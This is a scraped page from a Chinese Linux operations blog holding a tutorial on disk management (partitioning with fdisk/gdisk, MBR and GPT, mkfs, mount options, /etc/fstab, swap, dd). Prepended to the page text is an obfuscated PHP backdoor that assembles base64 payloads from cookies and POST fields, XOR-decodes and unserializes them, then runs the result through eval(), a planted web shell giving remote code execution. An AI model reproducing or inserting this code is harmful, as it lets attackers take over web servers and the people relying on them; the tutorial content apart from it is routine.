$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux磁盘管理 | Linux运维部落

Linux磁盘管理

                         Linux磁盘管理

磁盘管理:

 本章内容

   磁盘结构

   分区类型

   管理分区

   管理文件系统

   挂在设备

   管理虚拟内存

 硬盘接口类型:

     并行:IDESCSI

     串口:SATASASUSB

     rpmrotations per minute

 设备文件:

磁盘设备的设备文件命名:/dev/DEV_FILE

IDE/dev/hdX 其中“X”可以为abcd等字母;

SCSISATASASUSB/dev/sdX 其中“X”可以为abcd等字母;

分区:

    表示分区时,以硬盘设备的文件名作为基础,在后面添加该分区对应的数字序号即可;例如:第一个IDE硬盘中的第一个分区表示为“hda1”第二个表示为“hda2”,第二个SCSI硬盘中的第1个分区表示为“sdb1”第五个表示为“sdb5”。由于硬盘中的主分区数目只有4个,因此主分区和扩展分区的序号就限制在了“1~4”之间,而逻辑分区的序号将始终从5开始。

 硬盘存储术语:

     head:磁头;

     track:磁道;

     cylinder:柱面;

     secotr:扇区,512bytes

 使用分区空间:

设备识别

设备分区

重建文件系统

标记文件系统

/etc/fstab文件中创建条目

挂在新的文件系统

 磁盘分区:

为什么要分区?

优化I/O性能

实现磁盘空间配额限制

提高修复速度

隔离系统和程序

安装多个OS

分区:

两种分区方式:MBR  GPT

MBR :使用32位表示扇区数,分区不超过2T

MBR扇区,512个字节,其中446个字节为“boot loader64个字节为“分区表”2个字节为“55AA”其中分区表中表示为16个字节为一个分区;

4个主分区:3个主分区+1个扩展分区(N个逻辑分区)

GPT:使用64位表示扇区数,支持128个分区,分区支持8Z512byte/block64Z4096byte/block

 使用128UUID表示磁盘和分区GPT分区表自动备份在头和尾两份,并有CRC校验位;GPT分区必须使用UEFI硬件支持才可以;

 管理分区:

blkid命令:

    列出所有块设备;使用此命令也可以查看设备的UUID号;

 例:

  [root@centos7 Desktop]# blkid /dev/sda1

  /dev/sda1: UUID="fe32016e-a798-4b03-91a1-55adfd9a4355" TYPE="xfs"

  [root@centos7 Desktop]#  

创建分区使用:

  fdisk创建MBR分区,也支持GPT,对于一块硬盘,最多只能管理15个分区;

  gdisk创建GPT分区,最多可以创建128个主分区;

  parted高级分区工具(创建、复制、调整大小等)

  partprobe命令:重新设置内存中的内核分区表,可以结合lsblk命令;

分区工具:

fdisk  /dev/sdb

gdisk  /dev/sdb

Command action

   a   toggle a bootable flag

   b   edit bsd disklabel

   c   toggle the dos compatibility flag

   d   delete a partition

   g   create a new empty GPT partition table

   G   create an IRIX (SGI) partition table

   l   list known partition types

   m   print this menu

   n   add a new partition

   o   create a new empty DOS partition table

   p   print the partition table

   q   quit without saving changes

   s   create a new empty Sun disklabel

   t   change a partition's system id

   u   change display/entry units

   v   verify the partition table

   w   write table to disk and exit

   x   extra functionality (experts only)  

查看当前系统分区表:

 查看内核是否已经识别新的分区:

 查看虚拟文件系统 /proc/partitions

 lsblk命令

 示例:

 [root@centos7 Desktop]# cat /proc/partitions

 [root@centos7 Desktop]# lsblk


同步分区表:

通知内核重新读取硬盘分区表

contos6版本

新增分区:

partx  -a  -n M:N /dev/device

kpartx  -a  /dev/devcie  -f:force

删除分区:

partx  -a  -n M:N  /dev/device

centos57版本

partprobe

文件系统的类型:

Linux文件系统:ext2ext3ext4xfsbtrfsjfsswap

swap:交换分区

光盘:iso9660

Windowsfat32ntfs

网络文件系统:nfscifs

集群文件系统:gfs2ocfs2

分布式文件系统:ceph moosefs mogilefs glusterfs lustre

raw:未经处理或者未经格式化产生的文件系统;

 文件系统分类:

根据其是否支持journal”功能:

日志型文件系统:ext3ext4xfs…….

非日志型文件系统:ext2vfat

文件系统的组成部分:

内核中的模块ext4xfsvfat

用户空间的管理工具:mkfs

Linux的虚拟文件系统:vfs

查看当前系统支持的文件系统:

cat /proc/filesystems

 创建文件系统:

mkfs命令:

mkfs  -t 文件系统类型  分区设备

示例:

mkfs  -t ext4  /dev/sdb1 = mkfs.ext4  /dev/sdb1

创建ext文件系统

mke2fsext系列文件系统专用管理工具

   -t{ext2|ext3|ext4}

   -b{1024|2048|4096}

   -L LABEL

   -j:相当于 -t ext3

   mkfs.ext3=mkfs -t ext3=mke2fs -j=mke2fs -t ext3

   -i#:为数据空间中每多少个字节创建一个inode,此大小不应该小于block的大小;

   -N#:为数据空间创建多少个inode

   -m#:默认5%,为管理员预留空间占总空间的百分比;

   -O:启用指定特性

   -O:关闭指定特性

 文件系统标签

blkid命令:块设备属性信息查看

blkid  [options]  [device]

        -U:根据指定的uuid来查看对应的设备名

        -L:根据指定的LABEL来查看对应的设备名

e2label:管理ext系列文件系统的LABEL

        e2label  DEVICE [LABEL]

        示例:

        [root@centos7 Desktop]# e2label /dev/sdb1 /dev/sdb1

        [root@centos7 Desktop]# tune2fs -l /dev/sdb1

        tune2fs 1.42.9 (28-Dec-2013)

        Filesystem volume name:   /dev/sdb1

 findfs命令:查找分区

       findfs  [options] LABEL=<label>

       findfs  [options] UUID=<uuid>

       示例:

       [root@centos7 Desktop]# findfs LABEL=/dev/sdb1

       /dev/sdb1

       [root@centos7 Desktop]# findfs UUID=2bb4030e-68e8-4640-a3ac-62b98c029967

       /dev/sda3

       [root@centos7 Desktop]#

 tune2fs命令:重新设定ext系列文件系统可调参数的值;

            -l:查看指定文件系统超级块信息;super block

            -L:‘LABEL:修改卷标;

            -m#:修改预留给管理员的空间百分比;

            -j:将ext2升级为ext3

            -O:文件属性启用或禁用,-O ^has_joural(取消)

            -o:调整文件系统的默认挂载选项,-o ^acl(取消)

            -UUUID:修改UUID号;

       dumpe2fs命令:

             -h:查看超级块信息(分组信息),分区用分区管理;

 文件系统检测和修复:

       常发生于死机或者非正常关机之后;

       挂载为文件系统标记为dirty”;

       fsckfile system check 检测修复文件系统

       fsck.FS_TYPE

       fsck  -t  FS_TYPE

       -a:自动修复错误;

       -r:交互式修复错误;

       -f:强行检测修复分区;

       示例:

      [root@centos7 testdir]#fsck.ext4 -f /dev/sdb1

      e2fsck 1.42.9 (28-Dec-2013)

      Pass 1: Checking inodes, blocks, and sizes

      Pass 2: Checking directory structure

      Pass 3: Checking directory connectivity

      Pass 4: Checking reference counts

      Pass 5: Checking group summary information

      /dev/sdb1: 11/655360 files (0.0% non-contiguous), 83134/2621440 blocks

      [root@centos7 testdir]#

e2fsck命令:ext系列文件专用的检测修复工具

        -y:自动回答yes

        -f:强制修复

 mount挂载:

      挂载:将额外的文件系统与根文件系统某现存的目录建立起关联关系,进而使得此目录作为其他文件访问入口的行为;

      卸载:为分区解除与目录的挂载关系;

      把设备关联挂载点:

      mount  /DEVICE   /DIR

      卸载时,可以使用设备名或挂载点

      umount  /DEVICE

      umount  /DIR

注意:挂载点下原文件在挂载完成后被临时隐藏

      挂载点的目录一般为空

      mount:通过查看/etc/mtab文件显示当前已挂载的所有设备;

 mount常用命令选项:

      mount [-fnrsvw] [-t vfstype] [-o options] device dir

              -t:指明要挂载的设备上的文件系统类型;

              -r:只读挂载;

              -w:读写挂载;

              -n:不更新/etc/mtab

              -a:自动挂载所有支持自动挂载的设备;

              -LLABEL以卷标名挂载设备;

              -U:以uuid指定要挂载的设备;

              -B–bind绑定目录到另一个目录上;

       -o options挂载文件系统的选项,多个选项使用逗号分隔

               async:异步模式;

                sync:同步模式;

               atime/noatime:包含目录和文件;

               diratime/nodiratiome:目录的访问时间戳;

               auot/noauto:是否支持自定挂载 ,是否支持-a选项;

               exec/noexec:是否支持在此文件系统上使用设备文件;

               dev/nodev:是否支持在此文件系统上使用设备文件;

               suid/nosuid:是否支持suidsgid权限;

               remount:重新挂载;

               ro:只读;

               rw:读写;

               user/nouser:是否允许普通用户挂载此设备,默认管理员才能挂载;

               acl:启用此文件系统上的acl功能;

 mount的卸载命令:

            查看挂载情况:

             findmnt命令

            查看正在访问指定文件系统的进程:

             lsof命令

             fuser命令

            终止所有正在访问指定文件系统的进程:

             fuser  -km MOUNT_POINT

            卸载:

             umount

 文件挂载配置文件:

        /etc/fstab 配置文件中每行定义一个要挂载的文件系统;

          要挂载的设备或伪文件系统

          挂载点

          文件系统类型

          挂载选项

          转储频率

          自检次序

      挂载选项:defaults

      转储频率:0:不做备份

                1:每天转储

                2:每个一天转储

      自检次序:0:不自检

                1:首先自检,一般只有rootfs才用1

 swap处理交换文件和分区

       交换分区时系统RAM的补充

       基本设置包括:

           创建交换分区或者文件

           使用mkswap命令在指定的分区上创建交换文件系统;

           /etc/fstab文件中添加适当的条目

           使用swapon -a激活交换空间

       挂载交换分区:

           启用:swapon

                swapon [option] ……..[DEVICE]

                         -a:激活所有的交换分区

                         -p:指定优先级

                         /etc/fstab:pri=value

           禁用:swapoff  [DEVICE]

swap的优先级:

      用户可以给某个swap指定一个032767的优先级

      如果用户没有指定,那么核心会自动给swap指定一个优先级,这个优先级从-1开始,每加入一个新的没有用户指定的优先级的swap,会给这个优先级减一。

     先添加的swap的缺省优先级比较高,除非用户自己指定一个优先级,而用户指定的优先级是正整数永远高于核心缺省指定的优先级。

       示例:

       [root@centos7 testdir]#mkswap /dev/sdb6

       Setting up swapspace version 1, size = 2097148 KiB

       no label, UUID=18794626-9bfd-4af8-8f46-bad8fc3067db

       [root@centos7 testdir]#swapon /dev/sdb6

       [root@centos7 testdir]#cat /proc/swaps

       Filename    Type  Size Used Priority

       /dev/sda3                               partition 1023996 0 -1

       /dev/sdb2                               partition 2097148 0 100

       /dev/sdb6                               partition 2097148 0 -2

       [root@centos7 testdir]#swapoff /dev/sdb6

       [root@centos7 testdir]#swapon -p 200 /dev/sdb6

       [root@centos7 testdir]#cat /proc/swaps

       Filename    Type  Size Used Priority

       /dev/sda3                               partition 1023996 0 -1

       /dev/sdb2                               partition 2097148 0 100

       /dev/sdb6                               partition 2097148 0 200

       [root@centos7 testdir]#vim /etc/fstab

        /dev/sdb6       swap          swap    defaults,pri=200   0 0  

 使用光盘:

       eject命令卸载或弹出光盘;

       创建ISO文件

         cp  /dev/cdrom  /root/centos.iso

         mkisofs   -r  -o  /root/etc.iso   /etc/

        刻录光盘:

          wodim  -v  -eject  centos.iso

 常见工具:

内存空间使用状态:

     free [option]

           -m:以MB为单位

           -g:以GB为单位

 文件系统空间占用等信息的查看工具:

      df  [option] ….[FILE]

           -H:以M为单位显示磁盘空间大小;

           -T:文件系统的类型;

           -hhuman-readable 人类易读格式显示;

  查看某目录总体空间占用状态:

        du [option]  [DIR]

             -hhuman-readable 人类易读格式显示;

             -a:统计磁盘占用时包括文件,而不仅仅时只统计目录;

             -s:只统计目录的总大小;

         示例:

         [root@centos7 testdir]#du -sh /etc

         31M /etc

         [root@centos7 testdir]#

 dd命令:

      dd命令:comvert  and copy afile

      用法:dd  if=/PATH/FROM/SRC of=/PATH/TO/DEST  bs=# count=#

      if=file 从所命名的文件读取而不是从标准输出

      of=file 写到所命名的文件而不是到标准输出;

      bs=size:指定块大小;

      count=n:只拷贝n个记录;

      skip=blocks :从开头忽略blockibs大小的块;

      seek=blocks :从开头忽略blockibs大小的块;

磁盘拷贝:

     dd if=/dev/sda of=/dev/sdb

备份MBR

     dd if=/dev/sda  of=/tmp/mbr.bak  bs=512 count=1

测试硬盘的读写速度:

dd if=/dev/zero  of=/root/file1 bs=1024 count=1000000

通过上述命令输出的执行时间,可以计算出测试硬盘的读写速度;

修复硬盘:

dd if=/dev/sda  of=/dev/sda

当硬盘较长时间(比如12年)放置未使用,磁盘上会产生消磁,当磁头读到这些区域时会遇到困难,并可能导致I/O错误,当这种情况影响到硬盘的第一个扇区时,可能导致硬盘报废,上面的命令有可能使这些数据起死回生,且这个过程是安全、高效的。

 

 

 

 

 

 

 

 

    

 

 

 

     

 

 

 

 

 

 

原创文章,作者:zhengyibo,如若转载,请注明出处:http://www.178linux.com/42874

(0)
上一篇 2016-09-01 20:05
下一篇 2016-09-02 08:47

相关推荐

  • Code Review中的几个提示

    Code Review应该是软件工程最最有价值的一个活动,之前,本站发表过《简单实用的Code Review工具》,那些工具主要是用来帮助更有效地进行这个活动,这里的这篇文章,我们主要想和大家分享一下Code Review代码审查的一些心得。 首先,我们先来看看Code Reivew的用处: Code reviews 中,可以通过大家的建议增进代码的质量。 …

    Linux干货 2015-04-03
  • TIME_WAIT引起Cannot assign requested address报错

    1.  问题描述      有时候用redis客户端(php或者java客户端)连接Redis服务器,报错:“Cannot assign requested address。”      原因是客户端频繁的连接服务器,由于每次连接都在很短时间内结束,导致很多的TIME_WAIT。所以新的连…

    Linux干货 2016-03-09
  • lamp平台 php解析器基于模块和php-fpm

    首先,我先介绍一下实验环境: http服务器:192.168.236.128(php解析器基于modules) mysql服务器:192.168.236.129 编译和配置http服务器,http版本是2.4以上的。 由于http依赖于apr apr-util这两个包,但是我们系统上的rpm包版本比较低,我们也需要下载这两个源码包来编译,解决依赖关系。 还要…

    Linux干货 2015-08-31
  • zabbix报警信息提取

    zabbix报警信息提取     在日常的监控中,我们除了日常的zabbix操作外,我们有的时候还涉及到与其他公司进行数据对接。由于别的公司的数据对接很多时候并不是按照zabbix的数据结构(尤其是大型厂家,或是专业监控厂家,并不会直接使用zabbix,多数是自己开发或是对其他监控软件进行二次开发之类),在这种需求基础…

    Linux干货 2015-12-19
  • X-Y Problem

    X-Y Problem 对于X-Y Problem的意思如下: 1)有人想解决问题X2)他觉得Y可能是解决X问题的方法3)但是他不知道Y应该怎么做4)于是他去问别人Y应该怎么做? 简而言之,没有去问怎么解决问题X,而是去问解决方案Y应该怎么去实现和操作。于是乎: 1)热心的人们帮助并告诉这个人Y应该怎么搞,但是大家都觉得Y这个方案有点怪异。2)在经过大量地讨…

    Linux干货 2016-08-15
  • 谷歌三大核心技术(一)The Google File System中文版

    摘要 我们设计并实现了Google GFS文件系统,一个面向大规模数据密集型应用的、可伸缩的分布式文件系统。GFS虽然运行在廉价的普遍硬件设备上,但是它依然了提供灾难冗余的能力,为大量客户机提供了高性能的服务。 虽然GFS的设计目标与许多传统的分布式文件系统有很多相同之处,但是,我们的设计还是以我们对自己的应用的负载情况和技术环境的分析为基础的,不管现在还是…

    Linux干货 2015-04-13